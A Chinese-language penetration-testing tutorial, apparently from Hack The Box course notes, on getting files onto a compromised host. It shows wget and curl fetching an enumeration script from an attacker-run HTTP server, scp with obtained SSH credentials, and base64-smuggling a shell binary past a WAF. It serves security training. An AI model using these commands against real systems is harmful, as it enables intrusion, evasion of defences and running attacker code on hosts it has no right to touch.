在任何渗透测试过程中,我们都可能需要将文件传输到远程服务器,例如枚举脚本或漏洞,或将数据传输回我们的攻击主机。虽然像 Metasploit 这样的工具带有 Meterpreter shell,允许我们使用命令上传文件,但我们需要学习使用标准反向 shell 传输文件的方法。

方法


wget方法:


到需要的目录开启python服务器并选择端口

HgTrojan@htb[/htb]$ cd /tmp
HgTrojan@htb[/htb]$ python3 -m http.server 8000

在被控主机执行wget命令,下载文件

user@remotehost$ wget http://10.10.14.1:8000/linenum.sh

or

user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
#-o 是指定输出文件名标志。


scp方法


使用scp方法的前提是我们已经在远程主机上获得了 ssh 用户凭据。

HgTrojan@htb[/htb]$ scp linenum.sh user@remotehost:/tmp/linenum.sh
#请注意,在之后会指定本地文件名,远程目录将保存到 .scp目录

Base64方法


在某些情况下,我们可能无法直接传输文件。例如,远程主机可能具有WAF保护,阻止我们从计算机下载文件。在这种情况下,我们可以使用一个简单的技巧将文件进行 base64 编码为格式,然后我们可以将字符串粘贴到远程服务器上并对其进行解码。
比如我想复制一个二进制文件:

在本机

HgTrojan@htb[/htb]$ base64 shell -w 0

然后复制这个字符串,转到远程主机,并使用base64(命令:base64 -d)来解码它,并将输出通过管道传递到一个文件中。

user@remotehost$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell

使用这个办法可能会出现错误,所以在传输完成后我们必须验证一下:
首先验证它的文件格式,看看是否和本地的文件一样

user@remotehost$ file shell

然后验证MD5值是否和本地一样

HgTrojan@htb[/htb]$ md5sum shell

如果都一样那么传输成功。

文章目录